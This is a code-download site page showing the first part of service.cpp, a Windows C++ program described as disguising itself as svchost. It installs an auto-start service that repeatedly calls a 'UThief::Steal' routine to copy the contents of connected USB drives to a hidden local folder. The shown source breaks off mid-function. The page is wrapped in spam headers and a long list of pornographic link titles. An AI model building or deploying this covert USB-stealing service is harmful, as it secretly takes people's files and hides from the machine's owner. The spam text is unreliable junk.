亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? service.cpp

?? 偽裝成svchost進程,在windows服務里添加服務,對連接到電腦的U盤進行定時掃描,將其復制到電腦里默認的目錄里
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
// Service.cpp: implementation of the CService class.
//
//////////////////////////////////////////////////////////////////////

#include "Stdafx.h"
#include <stdio.h>
#include "Service.h"

#define STOP_MAX_DISKSPACE 85899345920	//最大已用容量, 單位Byte. 若磁盤實際已用的容量大于此值則不復制

CService _Module;
UThief _UThief;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CService::CService()
{
	_UThief.StealStatus = -1;
}

CService::~CService()
{
}

void CService::Init(LPCTSTR pServiceName,LPCTSTR pServiceDisplayedName)
{
    lstrcpy(m_szServiceName,pServiceName);
    lstrcpy(m_szServiceDisplayedName,pServiceDisplayedName);

    // set up the initial service status 
    m_hServiceStatus = NULL;
    m_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    m_status.dwCurrentState = SERVICE_STOPPED;
    m_status.dwControlsAccepted = SERVICE_ACCEPT_STOP;
    m_status.dwWin32ExitCode = 0;
    m_status.dwServiceSpecificExitCode = 0;
    m_status.dwCheckPoint = 0;
    m_status.dwWaitHint = 0;
}

void CService::Start()
{
    SERVICE_TABLE_ENTRY st[] =
    {
		{ m_szServiceName, _ServiceMain },
        { NULL, NULL }
    };
    if (!::StartServiceCtrlDispatcher(st) && m_bService)
	{
		DWORD dw = GetLastError();
		//LogEvent("StartServiceCtrlDispatcher Error=%d",dw);
		m_bService = FALSE;
	}

    if (m_bService == FALSE)
        Run();
}

void CService::ServiceMain()
{
    // Register the control request handler
    m_status.dwCurrentState = SERVICE_START_PENDING;
    m_hServiceStatus = RegisterServiceCtrlHandler(m_szServiceName, _Handler);
    if (m_hServiceStatus == NULL)
    {
        //LogEvent("Handler not installed");
        return;
    }
    SetServiceStatus(SERVICE_START_PENDING);

    m_status.dwWin32ExitCode = S_OK;
    m_status.dwCheckPoint = 0;
    m_status.dwWaitHint = 0;

    // When the Run function returns, the service has stopped.
    Run();

    SetServiceStatus(SERVICE_STOPPED);
    //LogEvent("Service stopped");
}

inline void CService::Handler(DWORD dwOpcode)
{
    switch (dwOpcode)
    {
    case SERVICE_CONTROL_STOP:
		//LogEvent("Request to stop...");
		_UThief.StealStatus = 1;
		SetServiceStatus(SERVICE_STOP_PENDING);
        PostThreadMessage(m_dwThreadID, WM_QUIT, 0, 0);
        break;
    case SERVICE_CONTROL_PAUSE:
		_UThief.StealStatus = 1;
        break;
    case SERVICE_CONTROL_CONTINUE:
		_UThief.StealStatus = -1;
        break;
    case SERVICE_CONTROL_INTERROGATE:
        break;
    case SERVICE_CONTROL_SHUTDOWN:
		_UThief.StealStatus = 1;
        break;
    default:
        //LogEvent("Bad service request");
		break;
    }
}

void WINAPI CService::_ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
{
    _Module.ServiceMain();
}
void WINAPI CService::_Handler(DWORD dwOpcode)
{
    _Module.Handler(dwOpcode); 
}

void CService::SetServiceStatus(DWORD dwState)
{
    m_status.dwCurrentState = dwState;
    ::SetServiceStatus(m_hServiceStatus, &m_status);
}

void CService::Run()
{
    //LogEvent("Service started");
	m_dwThreadID = GetCurrentThreadId();

    if (m_bService)
        SetServiceStatus(SERVICE_RUNNING);

	// The service is running.

	// TODO: Add code here
	/*
	MSG msg;
	while (GetMessage(&msg,NULL,NULL,NULL))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}
	*/

	// The service is going to be stopped.

	// TODO: Add code here
	while (1)
	{
		_UThief.Steal();
		Sleep(5000);
		if (_UThief.StealStatus == 1) break;
		Sleep(5000);
		if (_UThief.StealStatus == 1) break;
	}
}

BOOL CService::Install()
{
    if (IsInstalled())
        return TRUE;

    SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL)
    {
        MessageBox(NULL, "Couldn't open service manager", m_szServiceName, MB_OK);
        return FALSE;
    }

    // Get the executable file path
    TCHAR szFilePath[_MAX_PATH];
    ::GetModuleFileName(NULL, szFilePath, _MAX_PATH);

    SC_HANDLE hService = ::CreateService(
        hSCM, m_szServiceName, m_szServiceDisplayedName,
        SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS ,
        SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
        szFilePath, NULL, NULL, NULL, NULL, NULL);

    if (hService == NULL)
    {
        ::CloseServiceHandle(hSCM);
        MessageBox(NULL, "Couldn't create service", m_szServiceName, MB_OK);
        return FALSE;
    }

    ::CloseServiceHandle(hService);
    ::CloseServiceHandle(hSCM);
    return TRUE;
}

BOOL CService::Uninstall()
{
    if (!IsInstalled())
        return TRUE;

    SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

    if (hSCM == NULL)
    {
        MessageBox(NULL, "Couldn't open service manager", m_szServiceName, MB_OK);
        return FALSE;
    }

    SC_HANDLE hService = ::OpenService(hSCM, m_szServiceName, SERVICE_STOP | DELETE);

    if (hService == NULL)
    {
        ::CloseServiceHandle(hSCM);
        MessageBox(NULL, "Couldn't open service", m_szServiceName, MB_OK);
        return FALSE;
    }
    SERVICE_STATUS status;
    ::ControlService(hService, SERVICE_CONTROL_STOP, &status);

    BOOL bDelete = ::DeleteService(hService);
    ::CloseServiceHandle(hService);
    ::CloseServiceHandle(hSCM);

    if (bDelete)
        return TRUE;

    MessageBox(NULL, "Service could not be deleted", m_szServiceName, MB_OK);
    return FALSE;
}

BOOL CService::IsInstalled()
{
    BOOL bResult = FALSE;

    SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

    if (hSCM != NULL)
    {
        SC_HANDLE hService = ::OpenService(hSCM, m_szServiceName, SERVICE_QUERY_CONFIG);
        if (hService != NULL)
        {
            bResult = TRUE;
            ::CloseServiceHandle(hService);
        }
        ::CloseServiceHandle(hSCM);
    }
    return bResult;
}

///////////////////////////////////////////////////////////////////////////////////////
// Logging functions
/*
void CService::LogEvent(LPCSTR pFormat, ...)
{
    TCHAR    chMsg[256];
    HANDLE  hEventSource;
    LPTSTR  lpszStrings[1];
    va_list pArg;

    va_start(pArg, pFormat);
    vsprintf(chMsg, pFormat, pArg);
    va_end(pArg);

    lpszStrings[0] = chMsg;

    if (m_bService)
    {
        // Get a handle to use with ReportEvent(). 
        hEventSource = RegisterEventSource(NULL, m_szServiceName);
        if (hEventSource != NULL)
        {
            // Write to event log. 
            ReportEvent(hEventSource, EVENTLOG_INFORMATION_TYPE, 0, 0, NULL, 1, 0, (LPCTSTR*) &lpszStrings[0], NULL);
            DeregisterEventSource(hEventSource);
        }
    }
    else
    {
        // As we are not running as a service, just write the error to the console.
        printf(chMsg);
    }
}
*/

UThief::UThief()
{
    TCHAR szFilePath[_MAX_PATH];
    ::GetModuleFileName(NULL, szFilePath, _MAX_PATH);
	StealStatus = -1;

	SelfPath = szFilePath;//獲取自身路徑
	SelfFolder = GetString(SelfPath);//獲取自身所在目錄

	StorePath = SystemTime();//建立以日期為名的儲存路徑
	StorePath = SelfFolder + "\\" + StorePath;
}

UThief::~UThief()
{
}

TCHAR* UThief::SystemTime()//獲取當前系統日期字符串
{
	TCHAR szTime[4];
	TCHAR* sTime = new TCHAR[9];
	SYSTEMTIME st;
	::GetLocalTime(&st);

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩一区二区精品葵司在线| 色综合一个色综合| 91丨九色丨蝌蚪富婆spa| 制服丝袜日韩国产| 亚洲免费av高清| 风流少妇一区二区| 日韩视频一区二区三区| 亚洲综合一区二区| 成人黄页毛片网站| 久久亚洲精华国产精华液 | 国产欧美日韩在线| 青草av.久久免费一区| 色噜噜狠狠成人网p站| 欧美极品美女视频| 国产成人在线视频网站| 欧美va亚洲va香蕉在线| 首页综合国产亚洲丝袜| 色哟哟欧美精品| 亚洲欧洲在线观看av| 成人激情综合网站| 中文字幕免费不卡在线| 捆绑调教一区二区三区| 在线播放欧美女士性生活| 一区二区欧美在线观看| 色综合久久综合网97色综合| 国产精品高潮呻吟久久| aaa亚洲精品一二三区| 国产精品久久精品日日| 波波电影院一区二区三区| 国产精品污污网站在线观看| 成a人片国产精品| 国产精品超碰97尤物18| 色欧美片视频在线观看在线视频| 亚洲欧洲制服丝袜| 欧美日韩三级在线| 视频在线观看91| 欧美va在线播放| 国产高清在线观看免费不卡| 国产精品三级在线观看| 色综合网色综合| 午夜视频一区在线观看| 91精品国产色综合久久不卡电影| 蜜桃一区二区三区在线| 久久久久国产精品人| 成人黄色大片在线观看| 亚洲激情网站免费观看| 91精品国产综合久久久久久漫画| 蜜臀久久99精品久久久画质超高清| 欧美大片拔萝卜| 国产suv精品一区二区三区| 亚洲欧美一区二区三区极速播放| 欧美在线免费视屏| 麻豆精品国产传媒mv男同| 欧美精品一区二区在线播放| 成人性视频网站| 亚欧色一区w666天堂| 精品美女被调教视频大全网站| 国产一区二区91| 亚洲国产综合91精品麻豆| 精品粉嫩aⅴ一区二区三区四区| 国产ts人妖一区二区| 亚洲图片一区二区| 久久久美女毛片| 精品视频在线视频| 久久精品国产精品亚洲精品| 中文成人综合网| 7777女厕盗摄久久久| 国产成人午夜精品影院观看视频| 夜夜嗨av一区二区三区 | 在线观看av一区二区| 日韩电影免费在线看| 欧美韩日一区二区三区四区| 欧美日韩中文字幕精品| 亚洲一区二区三区在线播放| 日韩三级免费观看| 色天天综合久久久久综合片| 欧美bbbbb| 亚洲国产精品一区二区www在线| 久久众筹精品私拍模特| 欧美日韩亚洲另类| 97久久精品人人做人人爽| 久久精品国产色蜜蜜麻豆| 亚洲在线免费播放| 国产日韩欧美亚洲| 宅男在线国产精品| 色综合久久综合中文综合网| 久久se精品一区精品二区| 欧美经典三级视频一区二区三区| 欧美绝品在线观看成人午夜影视| 成人午夜电影久久影院| 日本成人在线网站| 欧美经典一区二区三区| 精品国产亚洲一区二区三区在线观看| 欧美性大战久久久| 91在线观看视频| 白白色 亚洲乱淫| 久久9热精品视频| 日本va欧美va精品发布| 婷婷开心久久网| 性久久久久久久| 亚洲成人av福利| 五月综合激情网| 亚洲va韩国va欧美va| 亚洲精品久久久久久国产精华液| 欧美韩国日本不卡| 国产精品久久看| 一区视频在线播放| 综合av第一页| 亚洲综合精品久久| 亚洲一线二线三线视频| 亚洲综合丁香婷婷六月香| 亚洲综合精品久久| 亚洲大片在线观看| 日本亚洲欧美天堂免费| 日韩黄色一级片| 久久国产人妖系列| 国产一区二区三区日韩| 成人小视频免费观看| 处破女av一区二区| 色综合天天综合网国产成人综合天| a美女胸又www黄视频久久| av日韩在线网站| 91黄色激情网站| 欧美精品久久久久久久久老牛影院| 在线播放/欧美激情| 欧美少妇xxx| 欧美另类久久久品| 精品国产三级电影在线观看| 国产三级久久久| 最新国产精品久久精品| 亚洲一区二区三区四区中文字幕 | av中文字幕在线不卡| 99re66热这里只有精品3直播| 一本色道久久综合亚洲精品按摩| 国产成人综合网站| 色综合夜色一区| 日韩一级片网址| 欧美极品美女视频| 亚洲国产精品久久久久秋霞影院 | 精品在线播放免费| 成人美女在线观看| 欧美日韩在线播| xf在线a精品一区二区视频网站| 国产精品三级av在线播放| 亚洲精品国产精华液| 精品综合久久久久久8888| 国产一区二区三区精品欧美日韩一区二区三区 | 亚洲综合一区在线| 激情久久久久久久久久久久久久久久| 成人综合在线观看| 欧美浪妇xxxx高跟鞋交| 中文字幕巨乱亚洲| 亚洲综合色视频| 国产精品一区三区| 欧美日韩的一区二区| 欧美韩国日本一区| 日产欧产美韩系列久久99| 大桥未久av一区二区三区中文| 欧美日韩一区二区在线观看视频| 久久久久国产精品厨房| 日韩专区欧美专区| 99国产精品久久久久久久久久| 欧美一三区三区四区免费在线看| 1区2区3区精品视频| 久草中文综合在线| 欧美日韩亚洲综合在线| 国产精品免费视频网站| 亚洲国产你懂的| 99riav一区二区三区| 久久久精品人体av艺术| 日韩国产一区二| 成人福利在线看| 欧美一区二区三区系列电影| 一区二区三区四区视频精品免费 | 国产日产欧美一区| 久久精品999| 337p亚洲精品色噜噜狠狠| 一区二区三区四区在线免费观看| 懂色av一区二区三区免费看| 日韩色视频在线观看| 日韩国产精品大片| 精品视频在线免费看| 亚洲一区二区美女| 91在线你懂得| 欧美成人精精品一区二区频| 五月天久久比比资源色| 在线免费一区三区| 夜夜嗨av一区二区三区网页| 色猫猫国产区一区二在线视频| 国产性色一区二区| 国产成人丝袜美腿| 国产欧美日本一区视频| 国产精品自拍av| 久久久91精品国产一区二区三区| 卡一卡二国产精品| 欧美精品一区二| 国产九九视频一区二区三区| 久久久久久久久蜜桃| 国产福利一区二区三区视频| 国产日韩高清在线|